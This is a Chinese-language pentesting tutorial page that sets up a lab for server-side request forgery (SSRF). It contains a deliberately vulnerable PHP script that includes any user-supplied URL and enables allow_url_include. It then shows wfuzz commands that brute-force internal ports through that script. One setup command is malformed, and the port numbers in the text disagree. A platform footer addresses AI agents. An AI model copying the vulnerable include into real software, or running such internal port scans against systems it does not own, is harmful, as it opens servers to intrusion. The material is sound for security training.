> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md).

# SSRF Wfuzz

## 第一场景安装（SSRF 漏洞）

```bash
docker pull ubuntu:latest
docker run -dit --name ssrf_first_lab ubuntu
docker exec -it ssrf_first_lab bash
apt update
apt install apache2 php nano python3 lsof -y
service apache2 start
lsof -i:80 # 验证网站是否处于活动状态

```

* 在目录 **/var/www/html**，创建一个名为 utility.php 的文件，内容如下：

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "/n[+] 列出网站内容 " . $url . ":/n/n";
    include($url);
} else {
    echo "/n[!] 未为 URL 参数提供任何值/n/n";
}
?>

```

* 在这种情况下，脚本无法按预期工作。你必须修改文件 **"/etc/php/8.1/apache2/php.ini"** 通过将 \_allow/\_url/*include* 设置为 "on"。 ![](/files/5630e28610b2775396632ee76a8b06490a0677a5) ![](/files/a54b7135864ec1241bfe40d75cbed396392e1b27)
* 创建一个 `login.html` 文件到 `/tmp/` 以模拟一个生产环境登录页面：

```html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title> 登录页面 </title>
<style>
Body {
  font-family: Calibri, Helvetica, sans-serif;
  background-color: pink;
}
button {
       background-color: #4CAF50;
       width: 100%;
        color: orange;
        padding: 15px;
        margin: 10px 0px;
        border: note;
        cursor: pointer;
         }
 form {
        border: 3px solid #f1f1f1;
    }
 input[type=text], input[type=password] {
        width: 100%;
        margin: 8px 0;
        padding: 12px 20px;
        display: inline-block;
        border: 2px solid green;
        box-sizing: border-box;
    }
 button:hover {
        opacity: 0.7;
    }
  .cancelbtn {
        width: auto;
        padding: 10px 18px;
        margin: 10px 5px;
    }
 .container {
        padding: 25px;
        background-color: lightblue;
    }
</style>
</head>
<body>
    <center> <h1> 学生登录表单（PRO） </h1> </center>
    <form>
        <div class="container">
            <label>用户名： </label>
            <input type="text" placeholder="输入用户名" name="username" required>
            <label>密码： </label>
            <input type="password" placeholder="输入密码" name="password" required>
            <button type="submit">登录</button>
            <input type="checkbox" checked="checked"> 记住我
            <button type="button" class="cancelbtn"> 取消</button>
            忘记了 <a href="#"> 密码？ </a>

    </form>
</body>
</html>

```

* 修改后重启 apache2 服务：

  ```bash
  service apache2 restart

  ```
* 创建一个仅能从内部网络访问的 Python3 Web 服务器：

```bash
python3 -m 4646 --bind 127.0.0.1

```

理解第一个场景的技术示意图（**在 8089 端口上有一个网站，只能从内部网络的计算机访问**):

<figure><img src="/files/63aba200a4ef39e6dce2ccfde0db75f1e06e6ccf" alt="" width="563"><figcaption></figcaption></figure>

借助 **utility.php** 脚本，我们指定一个 URL，并看到它对其进行了解析：

<figure><img src="/files/00b61b10d85f51439fac840c352449915bc4bd7f" alt=""><figcaption></figcaption></figure>

如果我们尝试从自己的普通机器连接， **我们无法访问** 该网站：

<figure><img src="/files/ce93fcff8618774bad6c08964b9ec435503832a3" alt="" width="563"><figcaption></figcaption></figure>

但如果我们通过 **utility.php** 连接并提供内部网络 URL，我们会看到它对其进行了解析：

<figure><img src="/files/6be7a6da960ce1631b7d3ec29d374ec441d382f8" alt="" width="563"><figcaption></figcaption></figure>

在一种假设情况下， **我们不知道端口**，我们使用 **Wfuzz** 发起暴力破解攻击：

```go
wfuzz -c -t 200 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ"

```

<figure><img src="/files/59bc79fa406b5c01947758ab374239c7a7819a08" alt="" width="503"><figcaption></figcaption></figure>

现在，我们 **筛选** 以只显示具有不同 **4 个字符长度**:

```go
wfuzz -c -t 200 --hl=4  -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ"

```

它检测到端口 **80 和 4646**:

<figure><img src="/files/03917ec665f7fcfaa8ef00ece2bac1e890abb48a" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
